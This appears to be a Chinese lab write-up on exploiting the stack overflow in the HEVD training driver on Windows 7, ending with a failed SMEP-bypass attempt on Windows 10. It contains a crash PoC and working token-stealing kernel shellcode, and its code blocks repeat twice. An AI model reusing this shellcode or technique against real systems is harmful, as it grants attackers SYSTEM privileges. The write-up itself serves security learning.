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[原创]Windows Kernel Exploitation Notes(一)——HEVD Stack Overflow
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发表于: 2021-6-26 22:06
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搭建Windbg+VMware双机调试环境可参阅配置WinDbg,调试操作系统(双机调试)一文，笔者最终使用环境如下：
关于编写驱动程序微软提供示例偏简单，故笔者从Github上找到另一示例。如何安装WDK，创建项目及添加源文件不再赘述，可参阅微软示例。驱动程序中源文件代码如下：
禁用Spectre缓解：
修改目标系统版本及平台：
生成后将所有文件复制进虚拟机。尽管微软推荐使用PnPUtil进行驱动安装，但其于Win7系统下提供功能极少：
故笔者采用OSRLoader进行驱动安装及启用：
WinDbg中查看，加载成功：
之后编译主程序，其负责向驱动程序发出请求：
编译完成后复制进虚拟机。WinDbg执行ed nt!Kd_Default_Mask 8命令，如此一来便可查看DbgPrint函数输出结果。执行虚拟机中主程序：
下面于WinDbg中查看由主程序DeviceIoControl函数执行到驱动程序IrpDeviceIoCtlHandler函数经过哪些函数。首先于驱动程序IrpDeviceIoCtlHandler函数处设断，虚拟机中执行主程序，成功断下后kb命令输出结果：
其中0x00d21929地址对应主程序中cmp esi, esp(call ds:__imp__DeviceIoControl@32下一条指令)：
其传递给KernelBase!DeviceIoControl第二个参数0x00222003即驱动程序IrpDeviceIoCtlHandler函数中switch判断的IoControlCode：
首先查看HEVD源码，其源码位于HackSysExtremeVulnerableDriver-3.00\Driver\HEVD目录下。HackSysExtremeVulnerableDriver.c文件与上述部分驱动程序示例结构类似，不再另行赘述。本节对其BufferOverflowStack.c文件：
漏洞位于RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);一句，其在复制时使用UserBuffer长度，且未进行校验，如此一来，若UserBuffer长度超过KernelBuffer长度，可造成溢出。KernelBuffer长度在初始化时为0x800：
下面为触发漏洞POC：
int chBufferLen = 0x824;正好可以覆盖到函数返回地址：
完成覆盖，BSOD：
上述POC仅仅是引发崩溃，下面编写Exp以执行Shellcode。Shellcode如下：
pushad与popad及后续指令用于恢复执行环境，详见后文。mov eax,[fs:eax + 0x124]功能是获取CurrentThread指针内容，fs:[0]存储的是_KPCR结构：
其偏移0x120处存储的是_KPRCB：
故mov eax,[fs:eax + 0x124]指令中0x124偏移用于获取_KPRCB中CurrentThread指向内容。_KTHREAD偏移0x40处存储的是_KAPC_STATE：
_KAPC_STATE偏移0x10处存储的是指向_KPROCESS指针：
而_EPROCESS结构第一项即为_KPROCESS，故获取到指向_KPROCESS指针等同于获取到_EPROCESS地址：
由此mov eax,[eax + 0x50]指令中0x50偏移用于获取_EPROCESS。通过ActiveProcessLinks字段可以实现进程遍历(mov eax,[eax + 0xb8]与sub eax,0xb8)，查找UniqueProcessId字段等于4的进程(System进程PID为4，cmp[eax + 0xb4],edx)。最后通过mov edx,[eax + 0xf8]与mov[ecx + 0xf8],edx两条指令替换Token。
xor eax,eax;pop ebp;retn 8返回STATUS_SUCCESS给IrpDeviceIoCtlHandler函数：
完整Exploit如下：
成功：
SMEP(Supervisor Mode Execution Prevention)由Intel lvy Bridge引入，从Windows 8开始启用该特性，其作用在于禁止RING-0执行用户空间代码，而SMAP(Supervisor Mode Access Prevention)由Intel Broadwell引入，相较SMEP增加读与写保护：
设置SMEP与SMAP位于CR4寄存器中：
本节内容笔者于Windows 10 1709 x64环境中调试完成(Exp并未执行成功，但笔者从中学到如何获取内核基址以及绕过SMEP)，内核版本如下：
Windows 10 Kernel Version 16299 MP (1 procs) Free x64
Built by: 16299.637.amd64fre.rs3_release_svc.180808-1748
查看CR4寄存器内容：
可以看到已启用SMEP。完整Exploit如下(来自h0mbre's Github)：
其获取内核基址采用NtQuerySystemInformation函数：
之后Bypass SMEP采用修改CR4寄存器，置其第21位为0。据笔者环境，CR4=00000000001506f8，应修改为00000000000506f8，Gadgets如下：
笔者环境中_EPROCESS结构与Exp作者略有不同，故修改Shellcode如下：
其他部分与上节思路基本一致，不再赘述。笔者构造的Exploit可以于目标虚拟机中执行，修改CR4及替换Token完成后恢复原执行环境，崩溃如下：
由于知识储备有限，笔者尝试良久，未果。总结整体思路为：Get Kernel Base Address—>ROP(Modify CR4 value)—>Shellcode(User Space)。
// Sample "Hello World" driver
// creates a HelloDev, that expects one IOCTL
#include <ntddk.h>#define HELLO_DRV_IOCTL CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS) //#define CTL_CODE(DeviceType, Function, Method, Access) ( ((DeviceType) << 16) | ((Access) << 14) | ((Function) << 2) | (Method))#define DOS_DEV_NAME L"\\DosDevices\\HelloDev"#define DEV_NAME L"\\Device\\HelloDev"/// <summary>
/// IRP Not Implemented Handler
/// </summary>
/// <param name="DeviceObject">The pointer to DEVICE_OBJECT</param>
/// <param name="Irp">The pointer to IRP</param>
/// <returns>NTSTATUS</returns>
NTSTATUS IrpNotImplementedHandler(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) { Irp->IoStatus.Information = 0;
Irp->IoStatus.Status = STATUS_NOT_SUPPORTED;
UNREFERENCED_PARAMETER(DeviceObject);
PAGED_CODE();
// Complete the request
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return STATUS_NOT_SUPPORTED;
}/// <summary>
/// IRP Create Close Handler
/// </summary>
/// <param name="DeviceObject">The pointer to DEVICE_OBJECT</param>
/// <param name="Irp">The pointer to IRP</param>
/// <returns>NTSTATUS</returns>
NTSTATUS IrpCreateCloseHandler(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) { Irp->IoStatus.Information = 0;
Irp->IoStatus.Status = STATUS_SUCCESS;
UNREFERENCED_PARAMETER(DeviceObject);
PAGED_CODE();
// Complete the request
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}/// <summary>
/// IRP Unload Handler
/// </summary>
/// <param name="DeviceObject">The pointer to DEVICE_OBJECT</param>
/// <returns>NTSTATUS</returns>
VOID IrpUnloadHandler(IN PDRIVER_OBJECT DriverObject) { UNICODE_STRING DosDeviceName = { 0 };
PAGED_CODE();
RtlInitUnicodeString(&DosDeviceName, DOS_DEV_NAME);
// Delete the symbolic link
IoDeleteSymbolicLink(&DosDeviceName);
// Delete the device
IoDeleteDevice(DriverObject->DeviceObject);
DbgPrint("[!] Hello Driver Unloaded\n");
}/// <summary>
/// IRP Device IoCtl Handler
/// </summary>
/// <param name="DeviceObject">The pointer to DEVICE_OBJECT</param>
/// <param name="Irp">The pointer to IRP</param>
/// <returns>NTSTATUS</returns>
NTSTATUS IrpDeviceIoCtlHandler(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) { ULONG IoControlCode = 0;
PIO_STACK_LOCATION IrpSp = NULL;
NTSTATUS Status = STATUS_NOT_SUPPORTED;
UNREFERENCED_PARAMETER(DeviceObject);
PAGED_CODE();
IrpSp = IoGetCurrentIrpStackLocation(Irp);
IoControlCode = IrpSp->Parameters.DeviceIoControl.IoControlCode;
if (IrpSp) {
switch (IoControlCode) {
case HELLO_DRV_IOCTL:
DbgPrint("[< HelloDriver >] Hello from the Driver!\n");
break;
default:
DbgPrint("[-] Invalid IOCTL Code: 0x%X\n", IoControlCode);
Status = STATUS_INVALID_DEVICE_REQUEST;
break;
}
}
Irp->IoStatus.Status = Status;
Irp->IoStatus.Information = 0;
// Complete the request
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return Status;
}NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath) { UINT32 i = 0;
PDEVICE_OBJECT DeviceObject = NULL;
NTSTATUS Status = STATUS_UNSUCCESSFUL;
UNICODE_STRING DeviceName, DosDeviceName = { 0 };
UNREFERENCED_PARAMETER(RegistryPath);
PAGED_CODE();
RtlInitUnicodeString(&DeviceName, DEV_NAME);
RtlInitUnicodeString(&DosDeviceName, DOS_DEV_NAME);
DbgPrint("[*] In DriverEntry\n");
// Create the device
Status = IoCreateDevice(DriverObject,
0,
&DeviceName,
FILE_DEVICE_UNKNOWN,
FILE_DEVICE_SECURE_OPEN,
FALSE,
&DeviceObject);
if (!NT_SUCCESS(Status)) {
if (DeviceObject) {
// Delete the device
IoDeleteDevice(DeviceObject);
}
DbgPrint("[-] Error Initializing HelloDriver\n");
return Status;
}
// Assign the IRP handlers
for (i = 0; i <= IRP_MJ_MAXIMUM_FUNCTION; i++) {
// Disable the Compiler Warning: 28169
#pragma warning(push)#pragma warning(disable : 28169) DriverObject->MajorFunction[i] = IrpNotImplementedHandler;
#pragma warning(pop) }
// Assign the IRP handlers for Create, Close and Device Control
DriverObject->MajorFunction[IRP_MJ_CREATE] = IrpCreateCloseHandler;
DriverObject->MajorFunction[IRP_MJ_CLOSE] = IrpCreateCloseHandler;
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = IrpDeviceIoCtlHandler;
// Assign the driver Unload routine
DriverObject->DriverUnload = IrpUnloadHandler;
// Set the flags
DeviceObject->Flags |= DO_DIRECT_IO;
DeviceObject->Flags &= ~DO_DEVICE_INITIALIZING;
// Create the symbolic link
Status = IoCreateSymbolicLink(&DosDeviceName, &DeviceName);
// Show the banner
DbgPrint("[!] HelloDriver Loaded\n");
return Status;
}// Sample "Hello World" driver
// creates a HelloDev, that expects one IOCTL
#include <ntddk.h>#define HELLO_DRV_IOCTL CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS) //#define CTL_CODE(DeviceType, Function, Method, Access) ( ((DeviceType) << 16) | ((Access) << 14) | ((Function) << 2) | (Method))#define DOS_DEV_NAME L"\\DosDevices\\HelloDev"#define DEV_NAME L"\\Device\\HelloDev"/// <summary>
/// IRP Not Implemented Handler
/// </summary>
/// <param name="DeviceObject">The pointer to DEVICE_OBJECT</param>
/// <param name="Irp">The pointer to IRP</param>
/// <returns>NTSTATUS</returns>
NTSTATUS IrpNotImplementedHandler(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) { Irp->IoStatus.Information = 0;
Irp->IoStatus.Status = STATUS_NOT_SUPPORTED;
UNREFERENCED_PARAMETER(DeviceObject);
PAGED_CODE();
// Complete the request
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return STATUS_NOT_SUPPORTED;
}/// <summary>
/// IRP Create Close Handler
/// </summary>
/// <param name="DeviceObject">The pointer to DEVICE_OBJECT</param>
/// <param name="Irp">The pointer to IRP</param>
/// <returns>NTSTATUS</returns>
NTSTATUS IrpCreateCloseHandler(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) { Irp->IoStatus.Information = 0;
Irp->IoStatus.Status = STATUS_SUCCESS;
UNREFERENCED_PARAMETER(DeviceObject);
PAGED_CODE();
// Complete the request
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}/// <summary>
/// IRP Unload Handler
/// </summary>
/// <param name="DeviceObject">The pointer to DEVICE_OBJECT</param>
/// <returns>NTSTATUS</returns>
VOID IrpUnloadHandler(IN PDRIVER_OBJECT DriverObject) { UNICODE_STRING DosDeviceName = { 0 };
PAGED_CODE();
RtlInitUnicodeString(&DosDeviceName, DOS_DEV_NAME);
// Delete the symbolic link
IoDeleteSymbolicLink(&DosDeviceName);
// Delete the device
IoDeleteDevice(DriverObject->DeviceObject);
DbgPrint("[!] Hello Driver Unloaded\n");
}/// <summary>
/// IRP Device IoCtl Handler
/// </summary>
/// <param name="DeviceObject">The pointer to DEVICE_OBJECT</param>
/// <param name="Irp">The pointer to IRP</param>
/// <returns>NTSTATUS</returns>
NTSTATUS IrpDeviceIoCtlHandler(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) { ULONG IoControlCode = 0;
PIO_STACK_LOCATION IrpSp = NULL;
NTSTATUS Status = STATUS_NOT_SUPPORTED;
UNREFERENCED_PARAMETER(DeviceObject);
PAGED_CODE();
IrpSp = IoGetCurrentIrpStackLocation(Irp);
IoControlCode = IrpSp->Parameters.DeviceIoControl.IoControlCode;
if (IrpSp) {
switch (IoControlCode) {
case HELLO_DRV_IOCTL:
DbgPrint("[< HelloDriver >] Hello from the Driver!\n");
break;
default:
DbgPrint("[-] Invalid IOCTL Code: 0x%X\n", IoControlCode);
Status = STATUS_INVALID_DEVICE_REQUEST;
break;
}
}
Irp->IoStatus.Status = Status;
Irp->IoStatus.Information = 0;
// Complete the request
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return Status;
}NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath) { UINT32 i = 0;
PDEVICE_OBJECT DeviceObject = NULL;
NTSTATUS Status = STATUS_UNSUCCESSFUL;
UNICODE_STRING DeviceName, DosDeviceName = { 0 };
UNREFERENCED_PARAMETER(RegistryPath);
PAGED_CODE();
RtlInitUnicodeString(&DeviceName, DEV_NAME);
RtlInitUnicodeString(&DosDeviceName, DOS_DEV_NAME);
DbgPrint("[*] In DriverEntry\n");
// Create the device
Status = IoCreateDevice(DriverObject,
0,
&DeviceName,
FILE_DEVICE_UNKNOWN,
FILE_DEVICE_SECURE_OPEN,
FALSE,
&DeviceObject);
if (!NT_SUCCESS(Status)) {
if (DeviceObject) {
// Delete the device
IoDeleteDevice(DeviceObject);
}
DbgPrint("[-] Error Initializing HelloDriver\n");
return Status;
}
// Assign the IRP handlers
for (i = 0; i <= IRP_MJ_MAXIMUM_FUNCTION; i++) {
// Disable the Compiler Warning: 28169
#pragma warning(push)#pragma warning(disable : 28169) DriverObject->MajorFunction[i] = IrpNotImplementedHandler;
#pragma warning(pop) }
// Assign the IRP handlers for Create, Close and Device Control
DriverObject->MajorFunction[IRP_MJ_CREATE] = IrpCreateCloseHandler;
DriverObject->MajorFunction[IRP_MJ_CLOSE] = IrpCreateCloseHandler;
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = IrpDeviceIoCtlHandler;
// Assign the driver Unload routine
DriverObject->DriverUnload = IrpUnloadHandler;
// Set the flags
DeviceObject->Flags |= DO_DIRECT_IO;
DeviceObject->Flags &= ~DO_DEVICE_INITIALIZING;
// Create the symbolic link
Status = IoCreateSymbolicLink(&DosDeviceName, &DeviceName);
// Show the banner
DbgPrint("[!] HelloDriver Loaded\n");
return Status;
}// Sample app that talks with the HelloDev (Hello World driver)
#include <stdio.h>#include <windows.h>#define HELLO_DRV_IOCTL CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS)const char kDevName[] = "\\\\.\\HelloDev";
HANDLE open_device(const char* device_name)
{ HANDLE device = CreateFileA(device_name,
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL
);
return device;
}void close_device(HANDLE device){ CloseHandle(device);
}BOOL send_ioctl(HANDLE device, DWORD ioctl_code)
{ //prepare input buffer:
DWORD bufSize = 0x4;
BYTE* inBuffer = (BYTE*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, bufSize);
//fill the buffer with some content:
RtlFillMemory(inBuffer, bufSize, 'A');
DWORD size_returned = 0;
BOOL is_ok = DeviceIoControl(device,
ioctl_code,
inBuffer,
bufSize,
NULL, //outBuffer -> None
0, //outBuffer size -> 0
&size_returned,
NULL
);
//release the input bufffer:
HeapFree(GetProcessHeap(), 0, (LPVOID)inBuffer);
return is_ok;
}int main()
{ HANDLE dev = open_device(kDevName);
if (dev == INVALID_HANDLE_VALUE) {
printf("Failed!\n");
system("pause");
return -1;
}
send_ioctl(dev, HELLO_DRV_IOCTL);
close_device(dev);
system("pause");
return 0;
}// Sample app that talks with the HelloDev (Hello World driver)
#include <stdio.h>#include <windows.h>#define HELLO_DRV_IOCTL CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS)const char kDevName[] = "\\\\.\\HelloDev";
HANDLE open_device(const char* device_name)
{ HANDLE device = CreateFileA(device_name,
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL
);
return device;
}void close_device(HANDLE device){ CloseHandle(device);
}BOOL send_ioctl(HANDLE device, DWORD ioctl_code)
{ //prepare input buffer:
DWORD bufSize = 0x4;
BYTE* inBuffer = (BYTE*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, bufSize);
//fill the buffer with some content:
RtlFillMemory(inBuffer, bufSize, 'A');
DWORD size_returned = 0;
BOOL is_ok = DeviceIoControl(device,
ioctl_code,
inBuffer,
bufSize,
NULL, //outBuffer -> None
0, //outBuffer size -> 0
&size_returned,
NULL
);
//release the input bufffer:
HeapFree(GetProcessHeap(), 0, (LPVOID)inBuffer);
return is_ok;
}int main()
{ HANDLE dev = open_device(kDevName);
if (dev == INVALID_HANDLE_VALUE) {
printf("Failed!\n");
system("pause");
return -1;
}
send_ioctl(dev, HELLO_DRV_IOCTL);
close_device(dev);
system("pause");
return 0;
}00 9998dafc 83e7f593 88593e20 885a5738 885a5738 KMDFHelloWorld!IrpDeviceIoCtlHandler
01 9998db14 8407399f 866b0430 885a5738 885a57a8 nt!IofCallDriver+0x63
02 9998db34 84076b71 88593e20 866b0430 00000000 nt!IopSynchronousServiceTail+0x1f8
03 9998dbd0 840bd3f4 88593e20 885a5738 00000000 nt!IopXxxControlFile+0x6aa
04 9998dc04 83e861ea 00000020 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
05 9998dc04 770a70b4 00000020 00000000 00000000 nt!KiFastCallEntry+0x12a
06 0013f9a8 770a5864 752f989d 00000020 00000000 ntdll!KiFastSystemCallRet
07 0013f9ac 752f989d 00000020 00000000 00000000 ntdll!ZwDeviceIoControlFile+0xc
08 0013fa0c 75e1a671 00000020 00222003 001a2630 KernelBase!DeviceIoControl+0xf6
09 0013fa38 00d21929 00000020 00222003 001a2630 kernel32!DeviceIoControlImplementation+0x80
00 9998dafc 83e7f593 88593e20 885a5738 885a5738 KMDFHelloWorld!IrpDeviceIoCtlHandler
01 9998db14 8407399f 866b0430 885a5738 885a57a8 nt!IofCallDriver+0x63
02 9998db34 84076b71 88593e20 866b0430 00000000 nt!IopSynchronousServiceTail+0x1f8
03 9998dbd0 840bd3f4 88593e20 885a5738 00000000 nt!IopXxxControlFile+0x6aa
04 9998dc04 83e861ea 00000020 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
05 9998dc04 770a70b4 00000020 00000000 00000000 nt!KiFastCallEntry+0x12a
06 0013f9a8 770a5864 752f989d 00000020 00000000 ntdll!KiFastSystemCallRet
07 0013f9ac 752f989d 00000020 00000000 00000000 ntdll!ZwDeviceIoControlFile+0xc
08 0013fa0c 75e1a671 00000020 00222003 001a2630 KernelBase!DeviceIoControl+0xf6
09 0013fa38 00d21929 00000020 00222003 001a2630 kernel32!DeviceIoControlImplementation+0x80
#include "BufferOverflowStack.h"#ifdef ALLOC_PRAGMA#pragma alloc_text(PAGE, TriggerBufferOverflowStack)#pragma alloc_text(PAGE, BufferOverflowStackIoctlHandler)#endif // ALLOC_PRAGMA/// <summary>
/// Trigger the buffer overflow in Stack Vulnerability
/// </summary>
/// <param name="UserBuffer">The pointer to user mode buffer</param>
/// <param name="Size">Size of the user mode buffer</param>
/// <returns>NTSTATUS</returns>
__declspec(safebuffers)NTSTATUSTriggerBufferOverflowStack( _In_ PVOID UserBuffer,
_In_ SIZE_T Size
){ NTSTATUS Status = STATUS_SUCCESS;
ULONG KernelBuffer[BUFFER_SIZE] = { 0 };
PAGED_CODE();
__try
{
//
// Verify if the buffer resides in user mode
//
ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(UCHAR));
DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer);
DbgPrint("[+] KernelBuffer Size: 0x%X\n", sizeof(KernelBuffer));
#ifdef SECURE //
// Secure Note: This is secure because the developer is passing a size
// equal to size of KernelBuffer to RtlCopyMemory()/memcpy(). Hence,
// there will be no overflow
//
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));
#else DbgPrint("[+] Triggering Buffer Overflow in Stack\n");
//
// Vulnerability Note: This is a vanilla Stack based Overflow vulnerability
// because the developer is passing the user supplied size directly to
// RtlCopyMemory()/memcpy() without validating if the size is greater or
// equal to the size of KernelBuffer
//
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
#endif }
__except (EXCEPTION_EXECUTE_HANDLER)
{
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}/// <summary>
/// Buffer Overflow Stack Ioctl Handler
/// </summary>
/// <param name="Irp">The pointer to IRP</param>
/// <param name="IrpSp">The pointer to IO_STACK_LOCATION structure</param>
/// <returns>NTSTATUS</returns>
NTSTATUS BufferOverflowStackIoctlHandler( _In_ PIRP Irp,
_In_ PIO_STACK_LOCATION IrpSp
){ SIZE_T Size = 0;
PVOID UserBuffer = NULL;
NTSTATUS Status = STATUS_UNSUCCESSFUL;
UNREFERENCED_PARAMETER(Irp);
PAGED_CODE();
UserBuffer = IrpSp->Parameters.DeviceIoControl.Type3InputBuffer;
Size = IrpSp->Parameters.DeviceIoControl.InputBufferLength;
if (UserBuffer)
{
Status = TriggerBufferOverflowStack(UserBuffer, Size);
}
return Status;
}#include "BufferOverflowStack.h"#ifdef ALLOC_PRAGMA#pragma alloc_text(PAGE, TriggerBufferOverflowStack)#pragma alloc_text(PAGE, BufferOverflowStackIoctlHandler)#endif // ALLOC_PRAGMA/// <summary>
/// Trigger the buffer overflow in Stack Vulnerability
/// </summary>
/// <param name="UserBuffer">The pointer to user mode buffer</param>
/// <param name="Size">Size of the user mode buffer</param>
/// <returns>NTSTATUS</returns>
__declspec(safebuffers)NTSTATUSTriggerBufferOverflowStack( _In_ PVOID UserBuffer,
_In_ SIZE_T Size
){ NTSTATUS Status = STATUS_SUCCESS;
ULONG KernelBuffer[BUFFER_SIZE] = { 0 };
PAGED_CODE();
__try
{
//
// Verify if the buffer resides in user mode
//
ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(UCHAR));
DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer);
DbgPrint("[+] KernelBuffer Size: 0x%X\n", sizeof(KernelBuffer));
#ifdef SECURE //
// Secure Note: This is secure because the developer is passing a size
// equal to size of KernelBuffer to RtlCopyMemory()/memcpy(). Hence,
// there will be no overflow
//
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));
#else DbgPrint("[+] Triggering Buffer Overflow in Stack\n");
//
// Vulnerability Note: This is a vanilla Stack based Overflow vulnerability
// because the developer is passing the user supplied size directly to
// RtlCopyMemory()/memcpy() without validating if the size is greater or
// equal to the size of KernelBuffer
//
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
#endif }
__except (EXCEPTION_EXECUTE_HANDLER)
{
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}/// <summary>
/// Buffer Overflow Stack Ioctl Handler
/// </summary>
/// <param name="Irp">The pointer to IRP</param>
/// <param name="IrpSp">The pointer to IO_STACK_LOCATION structure</param>
/// <returns>NTSTATUS</returns>
NTSTATUS BufferOverflowStackIoctlHandler( _In_ PIRP Irp,
_In_ PIO_STACK_LOCATION IrpSp
){ SIZE_T Size = 0;
PVOID UserBuffer = NULL;
NTSTATUS Status = STATUS_UNSUCCESSFUL;
UNREFERENCED_PARAMETER(Irp);
PAGED_CODE();
UserBuffer = IrpSp->Parameters.DeviceIoControl.Type3InputBuffer;
Size = IrpSp->Parameters.DeviceIoControl.InputBufferLength;
if (UserBuffer)
{
Status = TriggerBufferOverflowStack(UserBuffer, Size);
}
return Status;
}#include <stdio.h>#include <windows.h>#define IOCTL(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)#define HEVD_IOCTL_BUFFER_OVERFLOW_STACK IOCTL(0x800)int main()
{ HANDLE dev = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",GENERIC_READ | GENERIC_WRITE,NULL,NULL,OPEN_EXISTING,NULL,NULL);
if (dev == INVALID_HANDLE_VALUE)
{
printf("Failed!\n");
system("pause");
return -1;
}
printf("Done! Device Handle:0x%p\n",dev);
CHAR* chBuffer;
int chBufferLen = 0x824;
chBuffer = (CHAR*)malloc(chBufferLen);
ZeroMemory(chBuffer, chBufferLen);
memset(chBuffer, 0x41, chBufferLen);
DWORD size_returned = 0;
BOOL is_ok = DeviceIoControl(dev, HEVD_IOCTL_BUFFER_OVERFLOW_STACK,chBuffer,chBufferLen,NULL,0,&size_returned,NULL);
CloseHandle(dev);
system("pause");
return 0;
}#include <stdio.h>#include <windows.h>#define IOCTL(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)#define HEVD_IOCTL_BUFFER_OVERFLOW_STACK IOCTL(0x800)int main()
{ HANDLE dev = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",GENERIC_READ | GENERIC_WRITE,NULL,NULL,OPEN_EXISTING,NULL,NULL);
if (dev == INVALID_HANDLE_VALUE)
{
printf("Failed!\n");
system("pause");
return -1;
}
printf("Done! Device Handle:0x%p\n",dev);
CHAR* chBuffer;
int chBufferLen = 0x824;
chBuffer = (CHAR*)malloc(chBufferLen);
ZeroMemory(chBuffer, chBufferLen);
memset(chBuffer, 0x41, chBufferLen);
DWORD size_returned = 0;
BOOL is_ok = DeviceIoControl(dev, HEVD_IOCTL_BUFFER_OVERFLOW_STACK,chBuffer,chBufferLen,NULL,0,&size_returned,NULL);
CloseHandle(dev);
system("pause");
return 0;
}CHAR shellcode[] =
"\x60" //pushad
"\x31\xc0" //xor eax, eax
"\x64\x8b\x80\x24\x01\x00\x00" //mov eax,[fs:eax + 0x124]
"\x8b\x40\x50" //mov eax,[eax + 0x50]
"\x89\xc1" //mov ecx,eax
"\xba\x04\x00\x00\x00" //mov edx,0x4
"\x8b\x80\xb8\x00\x00\x00" //mov eax,[eax + 0xb8]<----
"\x2d\xb8\x00\x00\x00" //sub eax,0xb8 |
"\x39\x90\xb4\x00\x00\x00" //cmp[eax + 0xb4],edx |
"\x75\xed" //jnz --------------------
"\x8b\x90\xf8\x00\x00\x00" //mov edx,[eax + 0xf8]
"\x89\x91\xf8\x00\x00\x00" //mov[ecx + 0xf8],edx
"\x61" //popad
"\x31\xc0" //xor eax,eax
"\x5d" //pop ebp
"\xc2\x08\x00" //ret 0x8
;
CHAR shellcode[] =
"\x60" //pushad
"\x31\xc0" //xor eax, eax
"\x64\x8b\x80\x24\x01\x00\x00" //mov eax,[fs:eax + 0x124]
"\x8b\x40\x50" //mov eax,[eax + 0x50]
"\x89\xc1" //mov ecx,eax
"\xba\x04\x00\x00\x00" //mov edx,0x4
"\x8b\x80\xb8\x00\x00\x00" //mov eax,[eax + 0xb8]<----
"\x2d\xb8\x00\x00\x00" //sub eax,0xb8 |
"\x39\x90\xb4\x00\x00\x00" //cmp[eax + 0xb4],edx |
"\x75\xed" //jnz --------------------
"\x8b\x90\xf8\x00\x00\x00" //mov edx,[eax + 0xf8]
"\x89\x91\xf8\x00\x00\x00" //mov[ecx + 0xf8],edx
"\x61" //popad
"\x31\xc0" //xor eax,eax
"\x5d" //pop ebp
"\xc2\x08\x00" //ret 0x8
;
ntdll!_KPCR +0x000 NtTib : _NT_TIB
+0x000 Used_ExceptionList : Ptr32 _EXCEPTION_REGISTRATION_RECORD
+0x004 Used_StackBase : Ptr32 Void
+0x008 Spare2 : Ptr32 Void
+0x00c TssCopy : Ptr32 Void
+0x010 ContextSwitches : Uint4B
+0x014 SetMemberCopy : Uint4B
+0x018 Used_Self : Ptr32 Void
+0x01c SelfPcr : Ptr32 _KPCR
+0x020 Prcb : Ptr32 _KPRCB
+0x024 Irql : UChar
+0x028 IRR : Uint4B
+0x02c IrrActive : Uint4B
+0x030 IDR : Uint4B
+0x034 KdVersionBlock : Ptr32 Void
+0x038 IDT : Ptr32 _KIDTENTRY
+0x03c GDT : Ptr32 _KGDTENTRY
+0x040 TSS : Ptr32 _KTSS
+0x044 MajorVersion : Uint2B
+0x046 MinorVersion : Uint2B
+0x048 SetMember : Uint4B
+0x04c StallScaleFactor : Uint4B
+0x050 SpareUnused : UChar
+0x051 Number : UChar
+0x052 Spare0 : UChar
+0x053 SecondLevelCacheAssociativity : UChar
+0x054 VdmAlert : Uint4B
+0x058 KernelReserved : [14] Uint4B
+0x090 SecondLevelCacheSize : Uint4B
+0x094 HalReserved : [16] Uint4B
+0x0d4 InterruptMode : Uint4B
+0x0d8 Spare1 : UChar
+0x0dc KernelReserved2 : [17] Uint4B
+0x120 PrcbData : _KPRCB
ntdll!_KPCR +0x000 NtTib : _NT_TIB
+0x000 Used_ExceptionList : Ptr32 _EXCEPTION_REGISTRATION_RECORD
+0x004 Used_StackBase : Ptr32 Void
+0x008 Spare2 : Ptr32 Void
+0x00c TssCopy : Ptr32 Void
+0x010 ContextSwitches : Uint4B
+0x014 SetMemberCopy : Uint4B
+0x018 Used_Self : Ptr32 Void
+0x01c SelfPcr : Ptr32 _KPCR
+0x020 Prcb : Ptr32 _KPRCB
+0x024 Irql : UChar
+0x028 IRR : Uint4B
+0x02c IrrActive : Uint4B
+0x030 IDR : Uint4B
+0x034 KdVersionBlock : Ptr32 Void
+0x038 IDT : Ptr32 _KIDTENTRY
+0x03c GDT : Ptr32 _KGDTENTRY
+0x040 TSS : Ptr32 _KTSS
+0x044 MajorVersion : Uint2B
